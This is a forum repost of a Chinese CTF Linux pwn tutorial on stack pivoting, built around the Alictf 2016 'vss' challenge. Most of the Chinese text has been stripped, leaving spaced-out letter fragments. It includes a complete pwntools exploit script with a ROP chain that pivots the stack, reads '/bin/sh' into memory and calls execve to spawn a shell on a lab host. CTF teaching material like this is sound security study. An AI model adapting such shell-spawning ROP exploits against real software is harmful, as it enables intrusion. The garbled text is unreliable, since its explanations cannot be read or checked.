[19508] 2019-07-18_CTF必备技能丨LinuxPwn入门教程——调整栈帧的技巧

文档创建者:s7ckTeam
浏览次数:4
最后更新:2025-01-18
2019-07-18_CTF必备技能丨LinuxPwn入门教程——调整栈帧的技巧 C T F L i n u x   P w n i   2 0 1 9 - 0 7 - 1 8 L i n u x   P w n i P w n L i n u x   P w n i 3 8 6 / a m d 6 4 L i n u x   P w n P w n D o c k e r p y t h o n > > L i n u x   P w n L i n u x   P w n L i n u x   P w n S h e l l C o d e L i n u x   P w n R O P C T F 使 A S L R g a d g e t s e s p e b p s t a c k   p i v o t i L i n u x   P w n 1 2
e s p e s p ~ / A l i c t f   2 0 1 6 - v s s / v s s 6 4 使 + s t r i p m a i n I D A s t a r t c a l l _ _ l i b c _ s t a r t _ m a i n o f f s e t m a i n m a i n s y s c a l l e a x s u b _ 4 3 7 4 E 0 使 0 x 2 5 s y s c a l l F 5 a l a r m
s u b _ 4 0 8 8 0 0 p u t s s u b _ 4 3 7 E A 0 s u b _ 4 3 7 E B D 使 0 s y s c a l l r e a d m a i n
v e r i f y c a l l   r e a d
v e r i f y c a l l   s u b _ 4 0 0 3 3 0 s u b _ 4 0 0 3 3 0 s t r n c p y (   )

p y 退 [ r b p + r a x + d e s t ] 0 x 6 6 访 R r b p + r a x = 0 x 7 F F E 6 C D 1 A 0 4 0 访 p y E I P s t r n c p y 0 x 5 0 8 l i b c o n e   g a d g e t R C E 使 使 s t r n c p y x 0 0 0 x 5 0 0 x 4 8 e s p
m a i n r e a d 0 x 4 0 0 r e a d x 0 0 R O P 0 x 5 0 e s p R O P a d d   e s p g a d g e t s g a d g e t e s p 0 x 5 0 使 R O P s y s _ r e a d / b i n / s h x 0 0 s y s _ e x e c v e R O P
# ! / u s r / b i n / p y t h o n # c o d i n g : u t f - 8 f r o m   p w n   i m p o r t   * c o n t e x t . u p d a t e ( a r c h   =   ' a m d 6 4 ' ,   o s   =   ' l i n u x ' ,   t i m e o u t   =   1 ) i o   =   r e m o t e ( ' 1 7 2 . 1 7 . 0 . 3 ' ,   1 0 0 0 1 ) p a y l o a d   =   " " p a y l o a d   + =   p 6 4 ( 0 x 6 1 6 1 6 1 6 1 6 1 6 1 7 9 7 0 )     # p y p a y l o a d   + =   ' a ' * 0 x 4 0                                   # p a d d i n g p a y l o a d   + =   p 6 4 ( 0 x 4 6 f 2 0 5 )                         # a d d   e s p ,   0 x 5 8 ;   r e t p a y l o a d   + =   ' a ' * 8                                         # p a d d i n g p a y l o a d   + =   p 6 4 ( 0 x 4 3 a e 2 9 )                         # p o p   r d x ;   p o p   r s i ;   r e t   s y s _ r e a d p a y l o a d   + = p 6 4 ( 0 x 8 )                                     # r d x   =   8 p a y l o a d   + =   p 6 4 ( 0 x 6 c 7 0 7 9 )                         # r s i   =   0 x 6 c 7 0 7 9 p a y l o a d   + =   p 6 4 ( 0 x 4 0 1 8 2 3 )                         # p o p   r d i ;   r e t   s y s _ r e a d p a y l o a d   + =   p 6 4 ( 0 x 0 )                                   # r d i   =   0 p a y l o a d   + =   p 6 4 ( 0 x 4 3 7 e a 9 )                         # m o v   r a x ,   0 ;   s y s c a l l   s y s _ r e a d p a y l o a d   + =   p 6 4 ( 0 x 4 6 f 2 0 8 )                         # p o p   r a x ;   r e t p a y l o a d   + =   p 6 4 ( 5 9 )                                     # r a x   =   0 x 3 b p a y l o a d   + =   p 6 4 ( 0 x 4 3 a e 2 9 )                         # p o p   r d x ;   p o p   r s i ;   r e t   s y s _ e x e c v e p a y l o a d   + =   p 6 4 ( 0 x 0 )                                   # r d x   =   0 p a y l o a d   + =   p 6 4 ( 0 x 0 )                                   # r s i   =   0 p a y l o a d   + =   p 6 4 ( 0 x 4 0 1 8 2 3 )                         # p o p   r d i ;   r e t   s y s _ e x e c v e p a y l o a d   + =   p 6 4 ( 0 x 6 c 7 0 7 9 )                         # r d i   =   0 x 6 c 7 0 7 9 p a y l o a d   + =   p 6 4 ( 0 x 4 3 7 e a e )                         # s y s c a l l p r i n t   i o . r e c v ( ) i o . s e n d ( p a y l o a d ) s l e e p ( 0 . 1 )     # i o . s e n d ( ' / b i n / s h x 0 0 ' ) i o . i n t e r a c t i v e ( )
s t a c k   p i v o t e s p g a d g e t A L S R A S L R A S L R N X A S L R A S L R 0 x 7 f f f 0 0 0 0 s h e l l c o d e 0 x 7 f f f 0 0 0 0 g e t s h e l l A S L R 0 x 7 f f f 0 0 0 0 0 x 7 f f e 0 1 2 0 j m p   e s p g a d g e t s t a c k   p i v o t A S L R s t a c k   p i v o t g a d g e t p u s h   e b p ;   m o v   e b p ,   e s p 退 l e a v e ( m o v   e s p ,   e b p ;   p o p   e b p ) l e a v e r e t e b p l e a v e
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则